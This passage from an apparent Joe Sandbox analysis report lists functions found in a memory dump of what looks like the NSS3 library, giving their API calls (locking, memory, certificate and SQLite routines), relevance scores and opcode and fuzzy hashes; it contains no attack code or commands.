SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C621444,?,00000001,?,00000000,00000000,?), ref: 6C620DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C621444,?,00000001,?,00000000), ref: 6C620E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C621444,?,00000001,?,00000000,00000000,?), ref: 6C620E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C621444,?,00000001,?,00000000,00000000,?,?,6C621444,?,?,00000000), ref: 6C620E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C621444,?,00000001,?,00000000,00000000,?), ref: 6C620E79

Part of subcall function 6C631560: TlsGetValue.KERNEL32(00000000,?,6C600844,?), ref: 6C63157A
Part of subcall function 6C631560: EnterCriticalSection.KERNEL32(?,?,?,6C600844,?), ref: 6C63158F
Part of subcall function 6C631560: PR_Unlock.NSS3(?,?,?,?,6C600844,?), ref: 6C6315B2

Part of subcall function 6C5FB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C601397,00000000,?,6C5FCF93,5B5F5EC0,00000000,?,6C601397,?), ref: 6C5FB1CB
Part of subcall function 6C5FB1A0: free.MOZGLUE(5B5F5EC0,?,6C5FCF93,5B5F5EC0,00000000,?,6C601397,?), ref: 6C5FB1D2

Part of subcall function 6C5F89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C5F88AE,-00000008), ref: 6C5F8A04
Part of subcall function 6C5F89E0: EnterCriticalSection.KERNEL32(?), ref: 6C5F8A15
Part of subcall function 6C5F89E0: memset.VCRUNTIME140(6C5F88AE,00000000,00000132), ref: 6C5F8A27
Part of subcall function 6C5F89E0: PR_Unlock.NSS3(?), ref: 6C5F8A35

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: abc8343ed9ff84a1805cce1608143831ddf9d64312c1afe9dc587d2c191efbfb
Instruction ID: ebdfd9a8091b6a17494c970e0b0a63bd9c902eee3c117798e76874e1b6e6b795
Opcode Fuzzy Hash: abc8343ed9ff84a1805cce1608143831ddf9d64312c1afe9dc587d2c191efbfb
Instruction Fuzzy Hash: 23510BF5E012019FEB009F64DC91AAB37A8DF4631CF140424ED19A7712F735ED198BAA

Function 6C5D6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C5D6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C5D6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C5D6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C5D6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C5D6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C5D7010
sqlite3_value_blob.NSS3(?,?), ref: 6C5D701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C5D7052

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 940b81e78e82b9d529cf3a784906f420b74320a4319f42c93a357728c41345e2
Instruction ID: 56eec8b4578755db59a530fddb7b9bb4714a69f2b3e403627055b96aa47c1705
Opcode Fuzzy Hash: 940b81e78e82b9d529cf3a784906f420b74320a4319f42c93a357728c41345e2
Instruction Fuzzy Hash: E361D5B1E157068BDB00CBACCC407EEB7B2AF85308F1A4565D414AB755EB31AC06CB5A

Function 6C648F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C647313), ref: 6C648FBB

Part of subcall function 6C6407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5E8298,?,?,?,6C5DFCE5,?), ref: 6C6407BF
Part of subcall function 6C6407B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6407E6
Part of subcall function 6C6407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C64081B
Part of subcall function 6C6407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C640825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C647313), ref: 6C649012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C647313), ref: 6C64903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C647313), ref: 6C64909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C647313), ref: 6C6490DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C647313), ref: 6C6490F1

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C647313), ref: 6C64906B

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C647313), ref: 6C649128

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 07ca9e79c5f9aa522a2e6a34d4b16313718724cba2a4b8456171bdc8a64f0cc8
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 8F51DE70A402018FEB10DF6ADE84B66B3F9AF4571CF15C069D915D7B61EB32E800CBA9

Function 6C5F9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C5F8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C600715), ref: 6C5F8859
Part of subcall function 6C5F8850: PR_NewLock.NSS3 ref: 6C5F8874
Part of subcall function 6C5F8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C5F888D

PR_NewLock.NSS3 ref: 6C5F9CAD

Part of subcall function 6C6A98D0: calloc.MOZGLUE(00000001,00000084,6C5D0936,00000001,?,6C5D102C), ref: 6C6A98E5

Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07AD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07CD
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C56204A), ref: 6C5D07D6
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C56204A), ref: 6C5D07E4
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,6C56204A), ref: 6C5D0864
Part of subcall function 6C5D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C5D0880
Part of subcall function 6C5D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C56204A), ref: 6C5D08CB
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08D7
Part of subcall function 6C5D07A0: TlsGetValue.KERNEL32(?,?,6C56204A), ref: 6C5D08FB

TlsGetValue.KERNEL32 ref: 6C5F9CE8
EnterCriticalSection.KERNEL32(?,?,6C5FECEC,6C602FCD,00000000,?,6C602FCD,?), ref: 6C5F9D01
TlsGetValue.KERNEL32(?,?,?,6C5FECEC,6C602FCD,00000000,?,6C602FCD,?), ref: 6C5F9D38
EnterCriticalSection.KERNEL32(?,?,6C5FECEC,6C602FCD,00000000,?,6C602FCD,?), ref: 6C5F9D4D
PR_Unlock.NSS3 ref: 6C5F9D70
PR_Unlock.NSS3 ref: 6C5F9DC3
PR_NewLock.NSS3 ref: 6C5F9DDD

Part of subcall function 6C5F88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C600725,00000000,00000058), ref: 6C5F8906
Part of subcall function 6C5F88D0: EnterCriticalSection.KERNEL32(?), ref: 6C5F891A
Part of subcall function 6C5F88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C5F894A
Part of subcall function 6C5F88D0: calloc.MOZGLUE(00000001,6C60072D,00000000,00000000,00000000,?,6C600725,00000000,00000058), ref: 6C5F8959
Part of subcall function 6C5F88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C5F8993
Part of subcall function 6C5F88D0: PR_Unlock.NSS3(?), ref: 6C5F89AF

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: b74c9d1f0e8e8b9b6df7be91407e99354329ea96c3c330dfdbff07990f42f7e8
Instruction ID: f94c46ca3015e35c9c6f0704f2cdeb86a3b53e2f25f94abe2e7bc1ad471ed0e5
Opcode Fuzzy Hash: b74c9d1f0e8e8b9b6df7be91407e99354329ea96c3c330dfdbff07990f42f7e8
Instruction Fuzzy Hash: 205160B1A04B05CFDB04EF69C88465ABBF0BF45349F158969D8A8DB710DB30E845CFA2

Function 6C6F9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6F9EC0
EnterCriticalSection.KERNEL32(?), ref: 6C6F9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C6F9F73
EnterCriticalSection.KERNEL32(?), ref: 6C6F9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C6F9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C6F9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C6FA01D

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 4271d78060bb96b34ed9e5eff56f05b5108d8e7d11e0e863319b9fe8ad957c21
Instruction ID: d7b63ba55d3f98ed5eeddc5705d89bb12e9fa421a15f826bfb1b76268164fb24
Opcode Fuzzy Hash: 4271d78060bb96b34ed9e5eff56f05b5108d8e7d11e0e863319b9fe8ad957c21
Instruction Fuzzy Hash: 1651C2B2800600CBCB209F65D48468AB7F1FF0531DF25866AD86957B12E731FC86CBD9

Function 6C5EDCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C5EDCFA

Part of subcall function 6C6A9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6F0A27), ref: 6C6A9DC6
Part of subcall function 6C6A9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6F0A27), ref: 6C6A9DD1
Part of subcall function 6C6A9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6A9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5EDD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C5EDD62
CERT_DestroyCertificate.NSS3(?), ref: 6C5EDD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5EDD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C5EDD8F

Part of subcall function 6C6006A0: TlsGetValue.KERNEL32 ref: 6C6006C2
Part of subcall function 6C6006A0: EnterCriticalSection.KERNEL32(?), ref: 6C6006D6
Part of subcall function 6C6006A0: PR_Unlock.NSS3 ref: 6C6006EB

CERT_DestroyCertificate.NSS3(?), ref: 6C5EDD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C5EDDB7

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: fa1f06513bac719e9499b6115785a1546617c106ef0720ef91418c20dc8d8a0c
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 4E218FB6E012199BDF01DF94DE40ADEBBB5AF89218B140425EC14A7701F731ED15CBE1

Function 6C62F820 Relevance: 12.1, APIs: 8, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 6C62AD50: free.MOZGLUE(8955CCCC,?,6C5FB1EE,2404110F,?,?), ref: 6C62AD7C
Part of subcall function 6C62AD50: free.MOZGLUE(565753E5,?,6C5FB1EE,2404110F,?,?), ref: 6C62ADAB

free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C62F854
free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C62F868
DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C62F882
free.MOZGLUE(04C483FF,?,?), ref: 6C62F889
DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C62F8A4
free.MOZGLUE(CCCCCCC3,?,?), ref: 6C62F8AB
DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C62F8C9
free.MOZGLUE(280F10EC,?,?), ref: 6C62F8D0

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 896864f8fb9209489799b81017e7611662cd57447160487a30f6382403213bc2
Instruction ID: c1e36b8291c1f0e0d28b57081cff510411d22c2edb4fc58b53331a5fb2e5b6fd
Opcode Fuzzy Hash: 896864f8fb9209489799b81017e7611662cd57447160487a30f6382403213bc2
Instruction Fuzzy Hash: 5E218CB26006249BEB20AF65D809B97B7B8BF4574AF100538E91A87A00D739F014CB96

Function 6C675F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C67AADB,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675F72

Part of subcall function 6C5DED70: DeleteCriticalSection.KERNEL32(?), ref: 6C5DED8F
Part of subcall function 6C5DED70: DeleteCriticalSection.KERNEL32(?), ref: 6C5DED9E
Part of subcall function 6C5DED70: DeleteCriticalSection.KERNEL32(?), ref: 6C5DEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C67AADB,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C67AADB,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675FCC
free.MOZGLUE(?,?,6C67AADB,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C67AADB,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675FF4
free.MOZGLUE(?,?,6C67AADB,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C67AADB,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C676019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C67AADB,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C676036

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 29e305602b42f73d4ef0a795929875c5810437b28a071c190e014ed8a60e58ea
Instruction ID: 40d6c568293595f7340b338fe3b3410779ef74d085c896696ec4bf59bd833e2b
Opcode Fuzzy Hash: 29e305602b42f73d4ef0a795929875c5810437b28a071c190e014ed8a60e58ea
Instruction Fuzzy Hash: E8211AF1604B049BEA20AF75DC08BD7B7A8AB45709F14092CE46EC7640EB76F418CBA5

Function 6C6F0860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C6F7AE2,?,?,?,?,?,?,6C6F798A), ref: 6C6F086C

Part of subcall function 6C6F0930: EnterCriticalSection.KERNEL32(?,00000000,?,6C6F0C83), ref: 6C6F094F
Part of subcall function 6C6F0930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C6F0C83), ref: 6C6F0974
Part of subcall function 6C6F0930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6F0983
Part of subcall function 6C6F0930: _PR_MD_UNLOCK.NSS3(?,?,6C6F0C83), ref: 6C6F099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C6F7AE2,?,?,?,?,?,?,6C6F798A), ref: 6C6F087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C6F7AE2,?,?,?,?,?,?,6C6F798A), ref: 6C6F0892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6F08AA
free.MOZGLUE(?,00000000,00000000,?,?,6C6F7AE2,?,?,?,?,?,?,6C6F798A), ref: 6C6F08C7
free.MOZGLUE(?,00000000,00000000,?,?,6C6F7AE2,?,?,?,?,?,?,6C6F798A), ref: 6C6F08E9
free.MOZGLUE(?,6C6F7AE2,?,?,?,?,?,?,6C6F798A), ref: 6C6F08EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C6F7AE2,?,?,?,?,?,?,6C6F798A), ref: 6C6F090E

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 4f186f5de251fc87d2c3ed3e9bbd8dd6835fedde018283204b3dcdf9bb45a4da
Instruction ID: b6d5dafaf73f29f198509c55d3b72158f79f27b8f615c35e384be5b1cfc40600
Opcode Fuzzy Hash: 4f186f5de251fc87d2c3ed3e9bbd8dd6835fedde018283204b3dcdf9bb45a4da
Instruction Fuzzy Hash: 3D1190B1B022584BEF00BB58DD457463779AB4235DF184236E82A87640DE31E8258BDB

Function 6C5E3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C65460B,?,?), ref: 6C5E3CA9
EnterCriticalSection.KERNEL32(?), ref: 6C5E3CB9
PL_HashTableLookup.NSS3(?), ref: 6C5E3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C5E3CD6
PR_Unlock.NSS3 ref: 6C5E3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C5E3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5E3D03
PR_Unlock.NSS3 ref: 6C5E3D15

Part of subcall function 6C68DD70: TlsGetValue.KERNEL32 ref: 6C68DD8C
Part of subcall function 6C68DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DDB4

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: b9f9716337eeaf387bd2b17415ae73abd615ad5dc8ab7db5948dd80bebd0bd5e
Instruction ID: aa5abe0e1ff092ab9382b11b53e663b99dabe7e6f5b208cc2e0571838bf55f6c
Opcode Fuzzy Hash: b9f9716337eeaf387bd2b17415ae73abd615ad5dc8ab7db5948dd80bebd0bd5e
Instruction Fuzzy Hash: 97110A76A00215A7DB116624EC458AA3BB9EF4725DB154171EC1C83721FB21DC6886E5

Function 6C6FB850 Relevance: 12.0, APIs: 8, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,?,6C6F7AF9,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6FB862
free.MOZGLUE(?,?,6C6F7AF9,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6FB869
DeleteCriticalSection.KERNEL32(?,00000000,?,6C6F7AF9,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6FB88A
free.MOZGLUE(?,?,6C6F7AF9,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6FB891
DeleteCriticalSection.KERNEL32(6C6F798A), ref: 6C6FB8B9
free.MOZGLUE(?), ref: 6C6FB8C0
DeleteCriticalSection.KERNEL32(?,00000000,?,6C6F7AF9,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6FB8E1
free.MOZGLUE(?,?,6C6F7AF9,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6FB8E8

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

